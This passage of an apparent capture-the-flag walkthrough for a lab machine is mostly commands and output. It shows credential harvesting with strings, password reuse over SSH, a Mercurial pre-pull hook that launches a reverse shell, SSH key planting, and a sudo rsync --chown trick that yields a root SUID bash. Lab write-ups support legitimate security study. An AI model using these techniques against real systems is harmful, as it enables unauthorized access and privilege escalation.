grep: config/__pycache__/signature.cpython-312.pyc: binary file matches
www-data@yummy:~/app-qatesting$ grep -inR password .hg
grep: .hg/wcache/checkisexec: Permission denied
grep: .hg/store/data/app.py.i: binary file matches
Some binaries match with password inside them, I can check where with strings.
www-data@yummy:~/app-qatesting$ strings config/__pycache__/signature.cpython-312.pyc
RSA)
default_backend)
serializationNi
password
backend)
Crypto.PublicKeyr
cryptography.hazmat.backendsr
cryptography.hazmat.primitivesr
sympy
randprimer
phi_n
powr
key_data
construct
export_key
private_key_bytes
load_pem_private_key
private_key
public_key
/opt/app/config/signature.py
<module>r"
www-data@yummy:~/app-qatesting$ strings .hg/store/data/app.py.i
`_ MO
\WQP]
Z:L*"
3F9]
--[snip]--
t[QRpn@/S
>ody
'app.secret_key = s.token_hex(32)
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9 'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
V([Q
>GQ$
6 'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B',
P8*p
kwJj
d[I})u
^+Wq@
$ JJKx8
D'<a
Potential database credentials here with the older chef credentials. Though given they are qa credentials maybe I can ssh in with them.
ssh qa@yummy.htb
qa@yummy.htb's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Oct 11 09:14:15 PM UTC 2024
System load: 0.07 Processes: 270
Usage of /: 63.2% of 5.56GB Users logged in: 0
Memory usage: 26% IPv4 address for eth0: 10.10.11.36
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
qa@yummy:~$ cat ~/user.txt
4a47e40567104-------------------
Pivot to dev
sudo as dev
git alternative
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
Mercurial SCM rears its head once again.
qa@yummy:/var/www/app-qatesting$ hg --version
Mercurial Distributed SCM (version 6.7.2)
(see https://mercurial-scm.org for more information)
Copyright (C) 2005-2023 Olivia Mackall and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Not a vulnerable verison…
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
abort: no repository found in '/tmp/test' (.hg not found)
qa@yummy:/tmp/test$ mkdir .hg
qa@yummy:/tmp/test$ chmod 777 .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
From the pull option within the hg documentation:
”"”When cloning from servers that support it, Mercurial may fetch pre-generated data. When this is done, hooks operating on incoming changesets and changegroups may fire more than once, once for each pre-generated bundle and as well as for any additional remaining data. See hg help -e clonebundles for more.”””
Hooks operating on incoming changesets you say? Digging more into the documentation I found a way to define a hook as:
$ hg init hook-test
$ cd hook-test
$ echo '[hooks]' >> .hg/hgrc
$ echo 'commit = echo committed $HG_NODE' >> .hg/hgrc
$ cat .hg/hgrc
[hooks]
commit = echo committed $HG_NODE
$ echo a > a
$ hg add a
$ hg commit -m 'testing commit hook'
committed 992692c8ee9cc34fd37e597253c2069f55eec358
This is a way to run code during specific actions. The example code uses commit but I suspect I can use pull in its place. To run these hooks I need an hgrc file within .hg that uses the proper format. Luckily for me one of those files is present in the qa home directory.
qa@yummy:/tmp/test$ ls -al ~
total 48
drwxr-x--- 6 qa qa 4096 Oct 11 21:21 .
drwxr-xr-x 4 root root 4096 May 27 06:08 ..
lrwxrwxrwx 1 root root 9 May 27 06:08 .bash_history -> /dev/null
-rw-r--r-- 1 qa qa 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 qa qa 3771 May 27 14:47 .bashrc
drwx------ 2 qa qa 4096 Oct 11 21:14 .cache
drwx------ 3 qa qa 4096 May 28 16:24 .gnupg
-rw-rw-r-- 1 qa qa 728 May 29 15:04 .hgrc
-rw------- 1 qa qa 20 Oct 11 21:21 .lesshst
drwxrwxr-x 3 qa qa 4096 May 27 06:08 .local
-rw-r--r-- 1 qa qa 807 Mar 31 2024 .profile
drwx------ 2 qa qa 4096 May 28 15:01 .ssh
-rw-r----- 1 root qa 33 Oct 11 17:03 user.txt
qa@yummy:/tmp/test$ cat ~/.hgrc
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa
# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True
# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never
# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never
[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
I will add a reverse shell to /tmp then have the pull cause that script to be run. As of note a pull needs to happen so I empty the .hg directory to be empty minus the config file.
qa@yummy:/tmp/test$ cp ~/.hgrc .hg/
qa@yummy:/tmp/test$ nano .hg/.hgrc
qa@yummy:/tmp/test$ tail .hg/.hgrc
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
[hooks]
pull = /tmp/raccoonshell.sh
qa@yummy:/tmp/test$ rm -rf .hg/*
qa@yummy:/tmp/test$ cp hgrc .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
I run this and it doesn’t run my reverse shell I setup. Perhaps I need to read more. Back to the documentation at https://book.mercurial-scm.org/read/hook.html#sec-hook-ref there are defined hooks, some of which are prepended with pre. First I tried prepull with no results, but after trying pre-pull I got it to run my script.
qa@yummy:/tmp/test$ nano .hg/.hgrc
qa@yummy:/tmp/test$ tail .hg/.hgrc
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev
[hooks]
pre-pull = /tmp/raccoonshell.sh
qa@yummy:/tmp/test$ rm -rf .hg/*
qa@yummy:/tmp/test$ cp hgrc .hg
qa@yummy:/tmp/test$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.36 44582
I'm out of office until October 12th, don't call me
dev@yummy:/tmp/test$ groups
groups
dev
I make a keypair for a better session.
dev@yummy:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm2ynxw7aVOlTrn8YhHzH9aBxIvVj3AhGDoMk8OarFz2+eHkddCxy6RjMOrpV22bR5xrn/oYpehU4Io6RfiwlCLzncftUcqRjL5sfrVy/vtcir9VS2R9Z/qVPlv1y+xK5+pWoTFv0EZZU6VTkDmGKR5tNs8npAdTikoCN018iLkuZqVuWIO3iUXxFFoHKdxJ7GnkgfDFNOKeQueqwwzQ0hmDPatHIS+nj/xNuvU4r3F8TmhzqsDs1gYFwMlERuWw27jbV0nktNgWJKYY2BN15OZEm/EcECtcfo8BfhRvq0/zbZR2Gm8UFKtBsz0+cIddGGa10mtoLziJkdOg9Pb1cYb8a1nF58HXh332hmjegSWWH9+CSDhy1VQShVAlt/LLWE+tQOTHVKDfb2BVaISDmEn2FwPjaU0W5xVi/0x0o/lQi3zeNZtybIEC/RRtI9la5otEizxK7o+V60rb+o8XvXWs3d6L72HExMa5TDtgxVBzz1Q17MQh2M4YCBi59fhSU= raccoon@cyberraccoon-virtualbox" > authorized_keys
ssh dev@yummy.htb -i dev
I'm out of office until October 12th, don't call me
dev@yummy:~$
Root
enum
dev@yummy:~$ find / -perm /4000 2>/dev/null
/usr/bin/su
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/fusermount3
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
dev@yummy:~$ getcap / -r 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
dev@yummy:~$ sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
sudo rsync
Rsync is used for remote syncing, and since I am a dev I have the app-production directory in my home directory ergo I can change anything I want to in it.
dev@yummy:~$ cd app-production/
dev@yummy:~/app-production$ ls
app.py config middleware static templates
dev@yummy:~/app-production$ ls /opt/app/
app.py config middleware __pycache__ static templates
dev@yummy:~/app-production$ cp /bin/bash .
dev@yummy:~/app-production$ chmod u+s bash
dev@yummy:~/app-production$ ls
app.py bash config middleware static templates
dev@yummy:~/app-production$ ls -al
total 1456
drwxr-xr-x 7 dev dev 4096 Oct 11 22:13 .
drwxr-x--- 7 dev dev 4096 Oct 11 22:12 ..
-rw-rw-r-- 1 dev dev 10037 May 28 20:19 app.py
-rwsr-xr-x 1 dev dev 1446024 Oct 11 22:13 bash
drwxr-xr-x 3 dev dev 4096 May 28 13:59 config
drwxrwxr-x 5 dev dev 4096 May 28 14:25 .hg
drwxr-xr-x 3 dev dev 4096 May 28 13:59 middleware
drwxr-xr-x 6 dev dev 4096 May 28 13:59 static
drwxr-xr-x 2 dev dev 4096 May 28 14:13 templates
Maybe given rsync is a root run script it will copy an SUID as root? Worth a shot.
dev@yummy:~$ cp /bin/bash app-production/
dev@yummy:~$ chmod u+s app-production/bash
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
dev@yummy:~$ ls /opt/app
app.py bash config middleware __pycache__ static templates
dev@yummy:~$ /opt/app/bash -p
I'm out of office until October 12th, don't call me
dev@yummy:~$ whoami
dev
Although I didn’t get root off this it did give me an idea to check rsync’s options to potentially add one. I am looking for something to change the owner of something, so I grep for own.
dev@yummy:~$ rsync -h | grep own
--owner, -o preserve owner (super-user only)
--chown=USER:GROUP simple username/groupname mapping
--help, -h (*) show this help (* -h is help only on its own)
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~$ ls -al /opt/app
total 40
drwxrwxr-x 7 root www-data 4096 Oct 11 22:18 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root 11979 Sep 25 13:54 app.py
drwxr-xr-x 3 root root 4096 May 17 20:41 config
drwxr-xr-x 3 root root 4096 May 16 18:01 middleware
drwxrwxr-x 2 root root 4096 Sep 25 14:00 __pycache__
drwxr-xr-x 6 root root 4096 May 14 16:08 static
drwxr-xr-x 2 root root 4096 Sep 25 13:58 templates
Well that seems to work with my initial idea. Now I can add bash as an SUID to be copied into /opt/app and get root by adding --chown=root:root
.
dev@yummy:~$ cp /bin/bash app-production/
dev@yummy:~$ chmod u+s app-production/bash
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~$ /opt/app/bash -p
bash-5.2# cat /root/root.txt
62fef8ffe844e-------------------